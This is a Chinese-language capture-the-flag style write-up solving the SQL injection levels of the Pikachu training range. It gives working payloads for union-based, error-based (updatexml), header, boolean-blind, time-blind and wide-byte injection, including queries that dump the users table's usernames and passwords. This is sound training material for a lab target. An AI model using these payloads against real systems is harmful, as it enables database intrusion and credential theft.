pikachu靶场通关之sql注入

目录

一:数字型注入POST???????

二:字符型注入(GET)

三:搜索型注入

四:xx型注入

五:insert/update注入

六:delete注入

七:http头注入

八:布尔盲注

九:时间盲注

十:宽字节注入


一:数字型注入POST

1.判断注入类型方法:分别输入1 and 1=1 和 1 and 1=2 ,若两次回显一样,则为char类型;若不一样,为int型。

2.使用order by判断字段,3报错

3.判断回显的地方

 

4.使用联合查询注入查询数据库名

5.查询pikachu表名 
and 1=2 union select 1,table_name from information_schema.tables where table_schema='pikachu' limit 0,1--+

可以使用group_concat将所有的都呈现出来

id=1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema='pikachu' --+

6.选择users表进行查询列名
id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name='users' --+

7.最后可以查询一下此表下的user 和 password
union select 1,group_concat(user,password)from pikachu.users --+

二:字符型注入(GET)

字符型,加'闭合前面的单引号,其余注入同上

三:搜索型注入

先加'尝试闭合

报错,显示有个%,模糊查询可能是这个语句 like '%input%'  

所以如下使用%'闭合

闭合成功

查询到有3列

其余同上关。

四:xx型注入

还是首先加'尝试闭合

报错显示,可能是')闭合

成功闭合,其余同上。

五:insert/update注入

insert型注入,insert是数据库插入数据的语句,在创建账号时可能会使用,update在更新账号时可能会使用。可能会是insert into table_name (列1, 列2,...) values(值1, 值2,....) ,update语句可能是 update 表名称 set 列名称 = 新值 where 列名称 = 某值 。

所以注册尝试闭合为')报错

尝试全部闭合username=007','','','','','')#&password=007&sex=&phonenum=&email=&add=&submit=submit

成功啦。开始注入吧,因为注册页面没有回显语句,我们采用报错注入,爆出数据库名

username=007'or updatexml(1,concat(0x7e,(select database()),0x7e),1)or','','','','','')#&password=007&sex=&phonenum=&email=&add=&submit=submit

爆表名,username=007竟然不行why,0可以

username= 0' or updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31),0x7e),1) or ','','','','','')#&password=007&sex=&phonenum=&email=&add=&submit=submit
 

其余同上;

update注入是在修改信息抓包,单引号闭合

其余同上; 

六:delete注入

首先留个言,删除的时候抓包,get型注入,爆错注入

GET /pikachu/vul/sqli/sqli_del.php?id=63?id=58 or updatexml(1,concat(0x7e,(select database()),0x7e),1)

七:http头注入

登录抓包发现ua头被记录了

尝试在ua头中注入,利用一下上题语句 'or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '

成功注入 

其余同上即可。

八:布尔盲注

首先找闭合点,单引号闭合,回显出kobe的uid和email

使用'and(length(database()))=1--+拼接尝试,回显不存在。

说明数据库的长度不是1.

 我们已知pikachu数据库名7位,尝试一下'and(length(database()))=7--+

回显出kobe的uid和email,说明数据库名长度猜解正确。

然后可以使用ascii猜解数据库名,p的ascii为112

' and (ascii(substr(database(),1,1)))=112--+

 成功回显。

继续猜解表名,第一位h猜解成功,截图省略

' and ascii(substr((select table_name from information_schema.tables where table_schema='pikachu' limit 0,1),1,1))=104--+

以此类推。费时费力,用脚本方便些,本菜狗目前不会写脚本,省略,真得学一下。

九:时间盲注

sleep函数:sleep(n)将程序挂起n秒,延时n秒。

仍然查一下kobe ,再查了下lili,发现无论输入什么都只会显示一种情况。

采用时间盲注,找注入点猜测'--+,猜数据库名长度,

'and if(length(database())=7,sleep(5),1)--+

发现浏览器会加载5秒钟,说明注入语句成功。

' and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=104),sleep(5),1)--+

同样可以注入成功,其余以此类推吧。

十:宽字节注入

首先了解一下宽字节,字符大小为一个字节时为窄字节,字符大小为两个及以上的字节时为宽字节。如果数据库使用的的是GBK编码而PHP编码为UTF8就可能出现注入问题。宽字节注入现在已经很少见,因为如今的编码大多使用utf-8,宽字节注入会在 ' 前加入 ,加入反斜线之后,起到一个转义作用,这样,存在的 ' 就会失去注入的功能。

如何绕过你呢?GBK编码认为一个汉字占两个字节,%5c 是 / 的url编码,加上 %df ,前面两个字符就会拼接为 %df%5c被识别为一个汉字。这样,/ 自动消失,转义作用在此失效。借鉴一下大佬的payload,加%df,让%df与%5c拼成一个汉字就ok了,所以

为什么呢,奥,是因为%df%5c组成了一个汉字,当然查不到,使用or拼接

ok了!

搞清宽字节绕过方式,其余就和盲注一样啦!

感谢师傅们的观看!